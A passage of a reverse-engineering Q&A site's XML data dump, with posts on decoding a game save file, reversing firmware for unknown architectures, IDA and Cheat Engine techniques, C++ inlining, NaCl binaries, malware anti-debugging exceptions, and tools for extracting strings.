0x6b(50x)&#xA;31a: 0x00(1150x)&#xA;31b: 0x00(1150x)&#xA;31c: 0x00(1083x) 0x6b(67x)&#xA;31d: 0x00(1150x)&#xA;31e: 0x00(1150x)&#xA;31f: 0x00(1100x) 0x6b(50x)&#xA;320: 0x00(1150x)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which means that bytes &lt;code&gt;314&lt;/code&gt; and &lt;code&gt;315&lt;/code&gt; are always zero, and byte &lt;code&gt;316&lt;/code&gt; is &lt;code&gt;0&lt;/code&gt; in most cases, but &lt;code&gt;0x6b&lt;/code&gt; (107) 16 times, i.e. for 16 teams. Byte &lt;code&gt;31c&lt;/code&gt; is &lt;code&gt;0x6b&lt;/code&gt; for 67 teams. You could now proceed to compare this to what happens when you load the save file into the game; is there anything that's special for exactly 16, or 67, of these 1150 teams? You could also look for the teams that have these values, and check what's special for these exact teams.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Investing a lot of time into this will possibly allow you to identify most bytes without actually decompiling the application. However, i'd expect you can identify only a few of the values this way, and you will need to do what Jason suggested if you really want to understand everything. On the other hand, if the team/capital/country names are the only thing you're interested in, my program will already output them for you.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-10-16T21:49:46.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11129" PostTypeId="1" AcceptedAnswerId="11130" CreationDate="2015-10-17T16:19:42.960" Score="4" ViewCount="1274" Body="&lt;p&gt;This is a very interesting challenge in which you need to reverse a firmware without knowing anything about the firmware format, or the architecture. It is highly likely that the architecture is something special, without any documentation at all (think about some military chips, for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://queue.acm.org/unprogramming.cfm&quot; rel=&quot;nofollow&quot;&gt;http://queue.acm.org/unprogramming.cfm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking at this, but stuck on what is the approach to this problem. Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="13881" LastEditorUserId="53" LastEditDate="2017-04-28T12:49:48.287" LastActivityDate="2017-04-28T12:49:48.287" Title="Reverse unknown undocumented architecture - a tough challenge" Tags="|disassembly|firmware|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11130" PostTypeId="2" ParentId="11129" CreationDate="2015-10-17T16:43:22.243" Score="3" Body="&lt;p&gt;There was a good talk at &lt;a href=&quot;http://www.recon.cx/2012/&quot; rel=&quot;nofollow&quot;&gt;Recon 2012&lt;/a&gt; on how to reverse engineer a program written for an unknown processor:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.recon.cx/2012/schedule/events/236.en.html&quot; rel=&quot;nofollow&quot;&gt;Overview&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.recon.cx/2012/schedule/attachments/40_Chernov-Troshina.pdf&quot; rel=&quot;nofollow&quot;&gt;Slides&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;P.S. The &lt;a href=&quot;http://queue.acm.org/fullcomments.cfm?id=640139&quot; rel=&quot;nofollow&quot;&gt;comments&lt;/a&gt; on that challenge were very enjoyable to read ;)&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-10-17T16:43:22.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11132" PostTypeId="2" ParentId="11103" CreationDate="2015-10-18T15:13:59.730" Score="6" Body="&lt;p&gt;Generally, these are allocated regions within a debugged process. Some are heap related, some are internal to the OS's implementation, some can be pages allocated by another process that interacts with yours. &#xA;They are there because IDA needs to provide you with an interface to view memory as it's actually laid-out in memory, just like any other debugger. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Integrating them with IDA's built-in segments facilities makes it easier to work with other components and third party plugins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are dubbed &lt;code&gt;.debug???&lt;/code&gt; because these segments are part of the executable's debug environment. The numbers are just sequential and have no real meaning. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.&#xA;A hint about those: IDA doesn't maintain them constantly updated, and you might sometime require IDA to rescan the memory of the debugged process to make sure your viewing the most recent memory snapshot. At least  that was the case around IDA 6.6, it might have changed. &lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-01-09T08:27:47.330" LastActivityDate="2017-01-09T08:27:47.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11133" PostTypeId="2" ParentId="8762" CreationDate="2015-10-18T21:15:24.853" Score="1" Body="&lt;p&gt;Some tips/thoughts as they're flowing, sorry for the mess. Maybe I'll sort it out later. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;General tips:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're trying anything more advanced then changing a value, CheatEngine (and debugging) are probably not the best tools for this task IMHO. They'll work great at providing extra info and for validating your assumptions (which if done right you'll have tons of), but not as the main tool. &#xA;Once you found a few somewhat relevant functions you're better off actually going full front reversing these parts of the game. That is, start up IDA and document like hell. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd start by creating a structure for the object that contains the money, try spending some time finding other low hanging members of that structure as well as it's size (just assume by members you see, and increase when needed).&#xA;Whenever you see a member you don't know what purpose it serves, give it the best informative name you can (mFunc405020 if you don't mind) or a relevant comment. You'll be amazed at how easy it makes naming members the third time you come across them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same goes for methods. After you've found some members go for methods just the way you did for members. Start with constructors and inheritance trees, they give a lot of info and relatively easy to find. Draw the inheritance graph and rename functions and create structures accordingly. &#xA;Use the constructors to find more instances of the structures, they'll give you more info. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If/when you notice you're reversing the wrong structure don't be afraid of ditching it for a more interesting structure you found or go off and find another structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;find an object specific tips:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you're looking for creation of a specific object (which will probably have its own class) you need to switch objects quite frequently and use debugging/cheat engine to verify you found a relevant constructor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd even spend less time on members/methods and most of it on constructors and destructors. When you'll map the  inheritance tree you could easily find the constructors being called specifically for your object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: You might also find an old &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/2177/2147&quot;&gt;answer&lt;/a&gt; of mine helpful, to a question titled &quot;how to find entities/enemies array pointer using Cheat Engine&quot; by Daniel Filipe.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-07-09T21:08:45.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11135" PostTypeId="1" CreationDate="2015-10-18T21:54:09.800" Score="3" ViewCount="163" Body="&lt;p&gt;Are there any tools, tutorials, or resources out there for helping to make sense of NaCL binaries? They have some features that should make things easier – most crucially, fully decidable disassembly and code/data disambiguation. But looking at them in a disassembler, it's hard to make sense of what's going on because most of the interesting stuff is done by calls into the NaCL runtime, and I can't seem to find good documentation on what functions are available there or how to resolve the calls in a disassembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a lot of code like (sample from &lt;code&gt;hotword-x86-64.nexe&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   21d70:       81 c4 b8 00 00 00       add    esp,0xb8&#xA;   21d76:       4c 01 fc                add    rsp,r15&#xA;   21d79:       41 5b                   pop    r11&#xA;   21d7b:       0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]&#xA;   21d80:       41 83 e3 e0             and    r11d,0xffffffe0&#xA;   21d84:       4d 01 fb                add    r11,r15&#xA;   21d87:       41 ff e3                jmp    r11&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this makes it pretty hard to follow control flow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These binaries are of some interest because they're in some ways Google's answer to ActiveX, and they've been used to ship controversial features like &lt;a href=&quot;http://www.pcworld.com/article/2940499/ok-google-hotword-detection-yanked-from-chromium-after-user-revolt.html&quot; rel=&quot;nofollow&quot;&gt;OK Google (aka hotwords)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One resource I have found is a technical description of the SFI mechanism:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.chrome.com/native-client/reference/sandbox_internals/x86-64-sandbox&quot; rel=&quot;nofollow&quot;&gt;NaCl SFI model on x86-64 systems&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which gives some helpful hints on (e.g.) what &lt;code&gt;R15&lt;/code&gt; does, it's mostly about the what restrictions NaCL assembly code has to comply with, rather than how things work.&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorDisplayName="user12114" LastEditDate="2019-01-27T11:31:57.757" LastActivityDate="2019-01-27T11:31:57.757" Title="Tools and techniques for analyzing NaCL binaries?" Tags="|disassembly|tools|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11136" PostTypeId="2" ParentId="11015" CreationDate="2015-10-19T12:40:05.807" Score="0" Body="&lt;p&gt;Interactive Delphi Reconstructor can save text representation of form. Simply click right button on text representation and copy it to clipboard. Also You can try to save file as Delphi Project for all dfm-files in project.&lt;/p&gt;&#xA;" OwnerUserId="13894" LastActivityDate="2015-10-19T12:40:05.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11137" PostTypeId="1" CreationDate="2015-10-19T13:54:05.710" Score="0" ViewCount="757" Body="&lt;p&gt;So, I've been playing around with something again, and I encountered an issue I consider to be strange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA (around other less powerful debuggers/disassmeblers) offers a list of functions (with their names, if the PDBs are given) that exist in the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, constructors/static class methods to not seem to be part of that list. Is this a limitation of the debugger, the PDBs or something C++ compiler specific?&lt;/p&gt;&#xA;" OwnerUserId="13775" LastActivityDate="2015-10-20T10:55:16.567" Title="How does a C++ constructor look like on binary level?" Tags="|ida|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11138" PostTypeId="2" ParentId="11137" CreationDate="2015-10-19T16:05:43.217" Score="1" Body="&lt;p&gt;I had a close glance at the source code and figgured out that the constructors as well as some specific static methods I've been looking for, have been inlined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More precise, the &lt;em&gt;__forceinline&lt;/em&gt; specified offered by the Visual Studio Compiler is used to actually disable compiler checks on whether inlining is appropriate or not.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;&lt;em&gt;inline - whats that?&lt;/em&gt;&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Normal functions are copied into the binary exactly once (well, once for every different version of the function when it comes to function overloading). Everywhere where the function should be called, a &lt;em&gt;call&lt;/em&gt; instruction jumping to the address of the function is placed in the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;inline&lt;/em&gt; functions are handled differently. Everywhere an &lt;em&gt;inline&lt;/em&gt; function is called, the compiler just copies it's complete body to the location where it would just place a &lt;em&gt;call&lt;/em&gt; instruction for a normal function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, you get rid of a runtime jump at the cost of a bigger binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comes in handy to optimize VERY code thats very crucial in terms of performance. And, of course, also comes in handy when trying to obfuscate stuff as nobody and nothing (including debuggers, even HexRay's IDA) can tell anymore that this function is a function. And you can't detour/hook it.&lt;/p&gt;&#xA;" OwnerUserId="13775" LastEditorUserId="13775" LastEditDate="2015-10-20T10:55:16.567" LastActivityDate="2015-10-20T10:55:16.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11139" PostTypeId="2" ParentId="11129" CreationDate="2015-10-19T17:26:40.307" Score="4" Body="&lt;p&gt;I recently started reverse engineering a firmware from a device for which I had not documentation other than the interfaces to it. The presentation provided in the previous answer is very helpful. I thought I would complement it with some of my experience from my current project.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Strings&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;My first step in any RE project is to extract the strings - both ASCII and Unicode. Sometimes, &lt;code&gt;strings&lt;/code&gt; or IDA may not find everything, you may need to conduct a review of the hex code as some programs may have some uncommon encoding mechanism. While the presence of string may not provide you much in some cases, the absence of any string is a strong indication of compression or encryption. In my case, I was able to retrieve copyright notices containing information about some internal programs, along with a copyright notice for the real-time operating system included. Most helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be careful with &lt;code&gt;binwalk&lt;/code&gt;, which will often provide false positive for uncommon firmware. Don't rely on its output.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Structure&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Many firmware will have a similar structure, i.e. some initialization, maybe an interrupt vector with a RESET interrupt at the beginning, then eventually jump to a bootstrapping section, which will load further components into memory. I found the &lt;a href=&quot;http://sourceforge.net/projects/bin2bmp/files/bin2bmp/0.1.6/&quot; rel=&quot;nofollow&quot;&gt;bin2bmp&lt;/a&gt; tool useful to provide an overview of the contents. Note: if you use this tool in Windows, you will need the &lt;a href=&quot;http://www.pythonware.com/products/pil/&quot; rel=&quot;nofollow&quot;&gt;Python Imaging Library&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, each program within the firmware will have sections for code and data at least. The code section will be much larger than the data section, and from my experience, precedes the data section. Combined with the &lt;code&gt;bin2bmp&lt;/code&gt; tool, you can start identifying code sections. Additional sections for heap, static variables and exception handling may be added.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Functions&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Most developers will use C/C++ as their language, sometimes Assembly. When C/C++ is used, you can safely assume some instructions to occur fairly often. The presentation from Recon mention the &lt;code&gt;RET&lt;/code&gt; instruction, which I found true. Furthermore, the function epilogs and prologs are often similar across the entire firmware. If you can have some statistics about the count of the instructions, you may be able to identify a particular byte/word/dword to the &lt;code&gt;RET&lt;/code&gt; instruction. Afterwards, observe the 2-3 previous bytes/words and verify if they reoccur together across the code section, indicating you may have found the epilog of functions. You can use IDA in plain binary mode to search byte strings easily. Prologs of functions will often consist of a &lt;code&gt;POP&lt;/code&gt; instruction to store the returning address or load arguments. The epilog usually contains a &lt;code&gt;PUSH&lt;/code&gt; instruction prior to the &lt;code&gt;RET&lt;/code&gt;. You can then attempt to locate online for instruction sets which have a &lt;code&gt;POP&lt;/code&gt;/&lt;code&gt;PUSH&lt;/code&gt; instruction corresponding to the byte/words you have identified. Consider endianness when analyzing the binary.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Other resources:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I'm including these documents I found useful on my project, which may help you as well:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://media.blackhat.com/us-13/US-13-Zaddach-Workshop-on-Embedded-Devices-Security-and-Firmware-Reverse-Engineering-Slides.pdf&quot; rel=&quot;nofollow&quot;&gt;Embedded Devices Security Firmware Reverse Engineering&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-costin.pdf&quot; rel=&quot;nofollow&quot;&gt;A Large-Scale Analysis of the Security of Embedded Firmwares&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'll be monitoring that question, as I'm eager to see what else can be done to understand firmwares with uncommon architectures.&lt;/p&gt;&#xA;" OwnerUserId="13780" LastActivityDate="2015-10-19T17:26:40.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11140" PostTypeId="1" CreationDate="2015-10-19T23:30:42.360" Score="3" ViewCount="2721" Body="&lt;p&gt;I analyze a piece of malware and I am faced with the following problem: The main thread of the malware spawns some threads. After the first thread is generated, the main thread jumps to a non-existent memory space to cause an exception. The debugger ( i use ollydbg v1.10) crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I do not know how to execute the first thread before the main thread causes the crash. Is there an elegant way to bypass that anti-debug trick ? Can somebody help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2015-10-20T08:55:20.150" Title="Main Thread causes an exception - how to bypass that?" Tags="|ollydbg|anti-debugging|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11141" PostTypeId="2" ParentId="11140" CreationDate="2015-10-20T08:55:20.150" Score="3" Body="&lt;p&gt;The question is missing some background information about the debugging process and the instructions you've seen. I'll try offering a few leads and am waiting for an edit with more info before i proceed and elaborate on any of these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Obscured exit upon debugger detection&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since OP asked about exceptions i'm going to assume he's facing exception-based anti-debugging techniques, but it's worth noting this could also be an issue of any other type of anti-debugging, and the exception is only the manifestation of malware's debug-detection handling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you might be facing an anti-debugging trick as simple as calling &lt;code&gt;IsDebuggerPresent&lt;/code&gt; and jumping to some fixed invalid address. Or a more complicated address calculation that includes debug-related flags to hide it's anti-debugging nature. In that case, you should back-trace the cause of that misbehaving jump (was there a conditional jump? is the address calculated based on dynamic values?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Exceptions as anti-debugging techniques&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many malware samples and packers use exceptions as part of their anti-debugging tricks in order to thwart analysis. You may be facing a similar issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea behind exception anti-debugging techniques is to use side effects of a debugging tool (or of decisions made by the person using the tool) to alter the execution flow. There are several ways to do that, the classic being setting an exception handler (either for the local thread or at the process level) and implementing important parts of the logic in the exception handler before returning execution to the original EIP or changing it completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check if you're facing an anti-debugging exception tricks it's usually good to configure Olly to automatically pass all exceptions you encounter to the debugged program. Using ollydbg2, you do that by opening the Options dialog (Alt+O), navigating to the Debugging/Exceptions tab ticking the &quot;Ignore also the following custom exceptions or ranges&quot; and hitting the &quot;Add current&quot;. Specifically for memory exceptions you can simply tick the &quot;Memory access violations&quot; under the &quot;Ignore (pass to debugged program) following excpetions&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please make sure you're facing an exception based anti-debugging using the adove tips, and update you question to include more details and i'll update my answer with ways to overcome the specifics of the issue you're dealing with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Breaking concurrency assumptions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although this technique is not too common by debugging the process you break concurrency assumptions, which is something malware can use as a way to detect debugging. For example by issuing the create threat syscall you also give the OS scheduler a chance to switch contexts, and the newly created thread might be required to change something in the process's context (a global value is the simplest) before the main thread resumes execution. I'm not sure this is 100% generated to work, and might require other setup by the malware (&lt;code&gt;Sleep(0)&lt;/code&gt; is a common practice).&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2015-10-20T08:55:20.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11142" PostTypeId="1" AcceptedAnswerId="11143" CreationDate="2015-10-20T10:29:27.817" Score="7" ViewCount="28125" Body="&lt;p&gt;I have been playing around, searching for  Strings&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &quot;Please wait!!!&quot;&#xA;   &quot;Done!!&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I didn't find them in a Debugger so somebody suggested BinText can do the job, so I found this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; File pos Mem pos ID Text &#xA; ======== ======= == ==== &#xA; 0000000922E8 000000492EE8 0 Caption &#xA; 00000009230A 000000492F0A 0 Checked &#xA; 00000009232C 000000492F2C 0 SubMenuImages &#xA; 000000092354 000000492F54 0 Default &#xA; 000000092376 000000492F76 0 Enabled &#xA; 000000092402 000000493002 0 ImageIndex &#xA; 000000092426 000000493026 0 RadioItem &#xA; 00000009244B 00000049304B 0 ShortCut &#xA; 00000009246E 00000049306E 0 Visible &#xA;  000000092490 000000493090 0 OnClick &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here follows the troublesome strings&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  0000000ED716 0000004EE316 0 EJPEG &#xA;  0000000EEB97 0000004EF797 0 ;w8tF &#xA;  0000000EFE33 0000004F0A33 0 C(D   O &#xA;  0000000EFFA4 0000004F0BA4 0 T;{$| &#xA;  0000000F002C 0000004F0C2C 0 T;{$| &#xA;  0000000F004F 0000004F0C4F 0 ;K$|  &#xA;  0000000F0995 0000004F1595 0 ;K4w/ &#xA;  0000000F09CF 0000004F15CF 0 ;K4w, &#xA;  0000000F0A05 0000004F1605 0 ;K4w, &#xA;  0000000F0A9D 0000004F169D 0 T;{$| &#xA;  0000000F0AE4 0000004F16E4 0 T;{$| &#xA;  0000000F1A11 0000004F2611 0 D$$PU &#xA;  0000000F1D3B 0000004F293B 0 A;K$| &#xA;  0000000F3377 0000004F3F77 0 0;C$| &#xA;  0000000F3426 0000004F4026 0 K,;K(u &#xA;  0000000F36DA 0000004F42DA 0 T$$;L$ &#xA;  0000000F372D 0000004F432D 0 Jx;L$ &#xA;  0000000F39C4 0000004F45C4 0 $;Zx| &#xA;  0000000F3F52 0000004F4B52 0 t&amp;amp;ItZ &#xA;  0000000F41E7 0000004F4DE7 0 D$$;T$ &#xA;  0000000F41FB 0000004F4DFB 0 L$ ;\$ &#xA;  0000000F4265 0000004F4E65 0 L$,;T$ &#xA;  0000000F4279 0000004F4E79 0 L$(;\$ &#xA;  0000000F42EE 0000004F4EEE 0 L$0;T$ &#xA;  0000000F4363 0000004F4F63 0 L$4;T$ &#xA;  0000000F43D2 0000004F4FD2 0 L$8;T$ &#xA;  0000000F4441 0000004F5041 0 L$&amp;lt;;T$ &#xA;  0000000F44E4 0000004F50E4 0 D$D;T$ &#xA;  0000000F44F8 0000004F50F8 0 L$@;\$ &#xA;  0000000F46C7 0000004F52C7 0 D$,;L$ &#xA;  0000000F46DF 0000004F52DF 0 T$(;\$ &#xA;  0000000F4740 0000004F5340 0 l$$B; &#xA;  0000000F5466 0000004F6066 0 T;s$| &#xA;  0000000F55A8 0000004F61A8 0 P$;T$ &#xA;  0000000F56A4 0000004F62A4 0 P$;T$ &#xA;  0000000F5767 0000004F6367 0 P$;T$ &#xA;  0000000F58A3 0000004F64A3 0 rMtsJ &#xA;  0000000F58D4 0000004F64D4 0 C4;CH &#xA;  0000000F5940 0000004F6540 0 C4;CHr3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are these real strings or they broken encrypted or something?&#xA;How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="13902" LastActivityDate="2022-08-16T10:36:22.663" Title="How to view strings in an executable?" Tags="|patch-reversing|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11143" PostTypeId="2" ParentId="11142" CreationDate="2015-10-20T18:39:52.697" Score="4" Body="&lt;p&gt;These are not real strings, thats just binary data that can be interpreted as strings. That's how tools like BinText work - by trying to evaluate any sequence of bytes as a string and accepts it as one when a threshold is passed (usually around 4 characters).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar with BinText, but the tool I frequently use for such tasks is 010 Editor (&lt;a href=&quot;http://www.sweetscape.com/010editor&quot; rel=&quot;nofollow&quot;&gt;http://www.sweetscape.com/010editor&lt;/a&gt;). It's a really good text and hex editor and it has a free trial license. It can basically edit anything on your computer (text and binary files, hard drive, processes), has templates for parsing known file formats, scripts and advanced binary search options. The feature you're looking for is their &quot;Find Strings&quot; option that finds all strings regardless of formats and can be easily tuned with a few parameters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because strings may be represented in several formats having a tool that's aware of that and supports searching multiple formats simultaneously can be really helpful with these type of searches. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously the strings may be obfuscated and in that case searching won't do, but that's a bit out of the scope of this question. Open another one and I'll answer that as well. &lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2015-10-21T06:36:37.097" LastActivityDate="2015-10-21T06:36:37.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11147" PostTypeId="2" ParentId="11142" CreationDate="2015-10-20T22:22:33.823" Score="7" Body="&lt;p&gt;If you are running Linux, you can run the &lt;strong&gt;strings&lt;/strong&gt; command to view the hardcoded strings within the binary you are analyzing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strings my_executable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;strings&lt;/strong&gt; program is also available for Windows &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/bb897439.aspx?f=255&amp;amp;MSPPError=-2147217396&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would run it the same way you would on Linux:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:&amp;gt; strings my_executable.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would also like to point out that some strings are generated dynamically upon runtime only. If you are running Windows, you can use &lt;a href=&quot;http://processhacker.sourceforge.net/&quot; rel=&quot;noreferrer&quot;&gt;process hacker&lt;/a&gt; to view the strings in the process's memory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using process hacker, just select the process with the strings you want to find-&gt;&lt;strong&gt;Properties&lt;/strong&gt;-&gt;&lt;strong&gt;Memory&lt;/strong&gt;. Then, in the top right corner, you should see a &lt;strong&gt;strings...&lt;/strong&gt; button. That will search for all strings in the process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, those strings seem too short to be legitimate ones. Strings with about 10 &#xA;characters will likely reveal information that you may find more relevant.&lt;/p&gt;&#xA;" OwnerUserId="13909" LastEditorUserId="13909" LastEditDate="2015-10-20T23:35:10.840" LastActivityDate="2015-10-20T23:35:10.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11148" PostTypeId="2" ParentId="11142" CreationDate="2015-10-21T04:26:34.053" Score="2" Body="&lt;p&gt;To search for strings you could always use radare2 once installed use a terminal to navigate to the directory the file is in then type rabin2 -z filename&lt;/p&gt;&#xA;" OwnerUserId="13911" LastActivityDate="2015-10-21T04:26:34.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11149" PostTypeId="1" CreationDate="2015-10-21T04:35:57.800" Score="4" ViewCount="1107" Body="&lt;p&gt;I'm currently working on reversing a firmware binary for an embedded device. This device is using an uncommon architecture: it is a modified &lt;a href=&quot;https://en.wikipedia.org/wiki/Harvard_architecture&quot; rel=&quot;nofollow noreferrer&quot;&gt;Harvard architecture&lt;/a&gt;, running on a &lt;a href=&quot;http://www.ti.com/tool/sprc100#Technical%20Documents&quot; rel=&quot;nofollow noreferrer&quot;&gt;TMS320C55x&lt;/a&gt; chipset with an old Real-time Operating System (RTOS) which does not exists anymore (Byte-BOS) and for which I cannot find any manual (if you have, please let me know). No standard library is used within the firmware.&lt;/p&gt;&#xA;&lt;p&gt;Based on some rare documentation found from the Internet Archive, the RTOS is actually a micro-kernel which manages tasks, memory allocation and inter-process messaging. Within the kernel, there are two functions that appears to manage memory: &lt;code&gt;fmem_alloc&lt;/code&gt; and &lt;code&gt;fmem_free&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I'm trying to locate these functions within the firmware file. I can approximate the location of the code of the RTOS, as well as find functions within that section of code. My goal is to locate the &lt;code&gt;fmem_alloc&lt;/code&gt; and &lt;code&gt;fmem_free&lt;/code&gt; functions and functions calling them using IDA.&lt;/p&gt;&#xA;&lt;p&gt;Since my target is a TMS320C55x architecture and I have a raw firmware file versus a neat &lt;a href=&quot;https://en.wikipedia.org/wiki/COFF&quot; rel=&quot;nofollow noreferrer&quot;&gt;COFF&lt;/a&gt; binary, debugging it is quite difficult without an actual emulator, which from what I understood, is only hardware-based for this microprocessor. As such, it seems I'm doomed to rely only on static analysis. However if anyone knows of a software solution to debug the raw firmware, I would be extremely interested. The &lt;a href=&quot;http://www.ti.com/tool/ccstudio&quot; rel=&quot;nofollow noreferrer&quot;&gt;Code Composer Studio&lt;/a&gt; IDE only debugs COFF binaries.&lt;/p&gt;&#xA;&lt;p&gt;Is there any techniques, or set of C55x instructions within a certain distance I could search that could identify this function? Or at least reduce the number of potential functions to search? I know the RTOS uses a double linked-list to manage the heap. I first thought of using the &lt;code&gt;malloc&lt;/code&gt; function as a potential template, but found it too far from what I'm looking at, i.e. Intel assembly to the C55x, especially given the differences between the Von Neumann and Harvard 